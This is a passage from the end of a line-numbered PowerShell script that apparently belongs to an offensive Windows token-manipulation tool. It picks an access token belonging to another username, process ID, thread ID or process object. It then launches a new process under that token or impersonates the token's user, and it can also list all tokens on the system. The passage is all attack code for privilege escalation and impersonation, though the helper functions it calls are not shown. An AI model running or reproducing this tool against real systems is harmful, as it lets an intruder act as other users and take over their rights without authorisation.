1828 Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop
1829 }
1830 }
1831 elseif ( $ProcessId -ne $null -and $ProcessId -ne 0)
1832 {
1833 foreach ($Token in $AllTokens)
1834 {
1835 if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId)
1836 {
1837 $hToken = $Token.hToken
1838 Write-Verbose "Selecting token by ProcessID"
1839 }
1840 }
1841
1842 if ($hToken -eq [IntPtr]::Zero)
1843 {
1844 Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop
1845 }
1846 }
1847 elseif ($ThreadId -ne $null -and $ThreadId -ne 0)
1848 {
1849 foreach ($Token in $AllTokens)
1850 {
1851 if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId)
1852 {
1853 $hToken = $Token.hToken
1854 Write-Verbose "Selecting token by ThreadId"
1855 }
1856 }
1857
1858 if ($hToken -eq [IntPtr]::Zero)
1859 {
1860 Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop
1861 }
1862 }
1863 elseif ($Process -ne $null)
1864 {
1865 foreach ($Token in $AllTokens)
1866 {
1867 if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id)
1868 {
1869 $hToken = $Token.hToken
1870 Write-Verbose "Selecting token by Process object"
1871 }
1872 }
1873
1874 if ($hToken -eq [IntPtr]::Zero)
1875 {
1876 Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop
1877 }
1878 }
1879 else
1880 {
1881 Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop
1882 }
1883
1884 #Use the token for the selected action
1885 if ($PsCmdlet.ParameterSetName -ieq "CreateProcess")
1886 {
1887 if (-not $NoUI)
1888 {
1889 Set-DesktopACLs
1890 }
1891
1892 Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru
1893
1894 Invoke-RevertToSelf
1895 }
1896 elseif ($ImpersonateUser)
1897 {
1898 Invoke-ImpersonateUser -hToken $hToken | Out-Null
1899 Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)"
1900 }
1901
1902 Free-AllTokens -TokenInfoObjs $AllTokens
1903 }
1904 elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI")
1905 {
1906 Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
1907 }
1908 else #Enumerate tokens
1909 {
1910 $AllTokens = Enum-AllTokens
1911
1912 if ($PsCmdlet.ParameterSetName -ieq "ShowAll")
1913 {
1914 Write-Output $AllTokens
1915 }
1916 else
1917 {
1918 Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values
1919 }
1920
1921 Invoke-RevertToSelf
1922
1923 Free-AllTokens -TokenInfoObjs $AllTokens
1924 }
1925 }
1926
1927
1928 #Start the main function
1929 Main
1930}